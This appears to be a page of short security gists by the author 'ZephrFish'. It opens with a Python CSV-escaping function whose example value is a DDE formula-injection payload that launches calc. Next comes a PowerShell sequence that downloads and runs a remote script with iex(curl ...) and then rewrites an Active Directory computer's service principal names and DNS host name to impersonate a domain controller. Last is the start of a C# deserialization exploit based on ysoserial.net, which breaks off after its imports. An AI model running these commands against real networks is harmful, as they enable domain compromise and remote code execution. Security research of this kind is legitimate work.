ZephrFish

def escape_csv(payload):
    if payload[0] in ('@','+','-', '=', '|'):
            payload = "'" + payload
            payload = payload.replace("|", "\|")
    return payload

# Example
payload = "@cmd|' /C calc'!A0"
print("The Unescaped version is: " + payload)
print("When passed though escape function the value is: " + escape_csv(payload))

ZephrFish

iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing )

Import-ActiveDirectory
Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose

#in my testing i had to set dnshostname to $null first

Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null

Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local

ZephrFish

//All credit goes to Ysoserial.net and the great @tiraniddo
//Snippets copied from ysoserial.net
//https://thewover.github.io/Mixed-Assemblies/ - Great read!
//https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui - Another great read
using System;
using System.Collections.Generic;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;